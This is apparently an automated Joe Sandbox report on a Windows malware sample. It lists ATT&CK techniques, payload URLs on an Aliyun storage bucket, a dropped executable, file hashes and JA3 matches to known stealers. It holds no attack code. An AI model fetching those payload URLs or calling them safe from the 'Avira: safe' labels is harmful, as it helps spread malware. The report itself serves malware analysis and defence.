Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Virtualization/Sandbox Evasion	LSASS Memory	251 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	213 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1387457-38765948.15.exe	8%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Documents\c4wtKa.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifshangh	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dats	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/o	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifta	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifnet-cn	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifcm.ali	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giffS	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe
https://yandex.com0	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff7	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifW	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/hanghai.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifv	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif;6?	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.datC:	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2246122658-3693405117-2476756634-1003R	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifs	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifIQ	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giffO	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/K	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifhttps://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifht	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifY	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifom	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifom	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003?	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/W	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifnghai.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giff7	0%	Avira URL Cloud	safe
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifcn-sha	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sc-2wln.cn-shanghai.oss-adns.aliyuncs.com.gds.alibabadns.com	47.101.26.25	true	false		unknown
jcoiw1.oss-cn-shanghai.aliyuncs.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifshangh	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifcm.ali	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/d.gif	1387457-38765948.15.exe, 00000000.00000002.3287821784.000000000014C000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.dats	1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	false		high
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giffS	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifnet-cn	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifta	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/o	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com0	1387457-38765948.15.exe	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.giff7	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/i.datC:	1387457-38765948.15.exe, 00000000.00000002.3287821784.0000000000140000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifW	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	false		high
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gif;6?	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifv	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/hanghai.aliyuncs.com/	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2246122658-3693405117-2476756634-1003R	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifs	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifIQ	1387457-38765948.15.exe, 00000000.00000002.3287821784.0000000000140000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/K	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifY	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giffO	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifhttps://jcoiw1.oss-cn-shanghai.aliyuncs.com/b.gifht	1387457-38765948.15.exe, 00000000.00000002.3287821784.000000000014C000.00000004.00000010.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000637000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifom	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	false		high
http://www.symauth.com/rpa00	1387457-38765948.15.exe, 00000000.00000003.3270532436.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269899771.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3295210426.00000000115A6000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269698239.00000000115E3000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270651876.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3270001740.00000000115E8000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269726209.00000000115A3000.00000004.00000020.00020000.00000000.sdmp, c4wtKa.exe.0.dr	false		high
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifom	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/-2476756634-1003?	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/W	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/a.gifnghai.aliyuncs.com/a.gif	1387457-38765948.15.exe, 00000000.00000003.3269760522.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 1387457-38765948.15.exe, 00000000.00000002.3287970622.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.giff7	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jcoiw1.oss-cn-shanghai.aliyuncs.com/c.gifcn-sha	1387457-38765948.15.exe, 00000000.00000002.3287970622.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.101.26.25	sc-2wln.cn-shanghai.oss-adns.aliyuncs.com.gds.alibabadns.com	China		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589380
Start date and time:	2025-01-12 04:03:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1387457-38765948.15.exe
Detection:	MAL
Classification:	mal72.evad.winEXE@1/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:04:06	API Interceptor	941x Sleep call for process: 1387457-38765948.15.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	80P.exe	Get hash	malicious	I2PRAT	Browse	120.26.116.232
	5.elf	Get hash	malicious	Unknown	Browse	123.56.46.120
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse	118.178.60.103
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2976587-987347589.08.exe	Get hash	malicious	Unknown	Browse	39.103.20.105
	2976587-987347589.07.exe	Get hash	malicious	Unknown	Browse	39.103.20.105
	5.elf	Get hash	malicious	Unknown	Browse	139.240.73.120
	4.elf	Get hash	malicious	Unknown	Browse	42.120.233.253
	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	8.136.96.106
	frosty.x86.elf	Get hash	malicious	Mirai	Browse	47.110.90.76

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	build.exe	Get hash	malicious	Vidar	Browse	47.101.26.25
	zmpZMfK1b4.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	47.101.26.25
	ix8kxoBHDb.exe	Get hash	malicious	Remcos, GuLoader	Browse	47.101.26.25
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	47.101.26.25
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	47.101.26.25
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	47.101.26.25
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	47.101.26.25
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	47.101.26.25
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	47.101.26.25
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	47.101.26.25

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Documents\c4wtKa.exe	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse
	2976587-987347589.08.exe	Get hash	malicious	Unknown	Browse
	2976587-987347589.07.exe	Get hash	malicious	Unknown	Browse
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Unknown	Browse
	2o63254452-763487230.06.exe	Get hash	malicious	Nitol	Browse
	2o63254452-763487230.06.exe	Get hash	malicious	Unknown	Browse
	e2664726330-76546233.05.exe	Get hash	malicious	Nitol	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\b[1].gif

Download File

Process:	C:\Users\user\Desktop\1387457-38765948.15.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	125333
Entropy (8bit):	7.993522712936246
Encrypted:	true
SSDEEP:	3072:8vcsO9vKcSrCpJigTY1mZzj283zsY+oOVoPj24pq:8vcXfSWT3TY1mZf13zB+a72Uq
MD5:	2CA9F4AB0970AA58989D66D9458F8701
SHA1:	FE5271A6D2EEBB8B3E8E9ECBA00D7FE16ABA7A5B
SHA-256:	5536F773A5F358F174026758FFAE165D3A94C9C6A29471385A46C1598CFB2AD4
SHA-512:	AB0EF92793407EFF3A5D427C6CB21FE73C59220A92E38EDEE3FAACB7FD4E0D43E9A1CF65135724686B1C6B5D37B8278800D102B0329614CB5478B9CECB5423C7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a[1].gif

Download File

Process:	C:\Users\user\Desktop\1387457-38765948.15.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	135589
Entropy (8bit):	7.995304392539578
Encrypted:	true
SSDEEP:	3072:CQFCJFvegK8iS+UKaskx87eJd0Cn/zUR7Tq:CKwvehSbsY8anIde
MD5:	0DDD3F02B74B01D739C45956D8FD12B7
SHA1:	561836F6228E24180238DF9456707A2443C5795C
SHA-256:	2D3C7FBB4FBA459808F20FDC293CDC09951110302111526BC467F84A6F82F8F6
SHA-512:	0D6A7700FA1B8600CAE7163EFFCD35F97B73018ECB9A17821A690C179155199689D899F8DCAD9774F486C9F28F4D127BFCA47E6D88CC72FB2CDA32F7F3D90238
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\i[1].dat

Download File

Process:	C:\Users\user\Desktop\1387457-38765948.15.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.067240743211155
Encrypted:	false
SSDEEP:	6:Wqz+RbLTQWwaahywqz+RdTQWwaVqdx9SK3TAn:MRbncRJVR/n
MD5:	FF6D9354842B497B290F2E5509598F49
SHA1:	4759F3F2D488558EBC30D7EF5118C27B74263B2D
SHA-256:	D26FFD662AD136301DB0E27A15447C11530D9BB5F7B2832ABCA227ED2ABB317D
SHA-512:	AF67A7A0266D0BF304761D28A11C561632D5CEB1E5EAD5D6BC2AC7B2DDF41F78FB7C1427CA23C848EF5E11F21CD616A4FFC02BF5401DB6DF6B2C3379DB56FE02
Malicious:	false
Reputation:	low
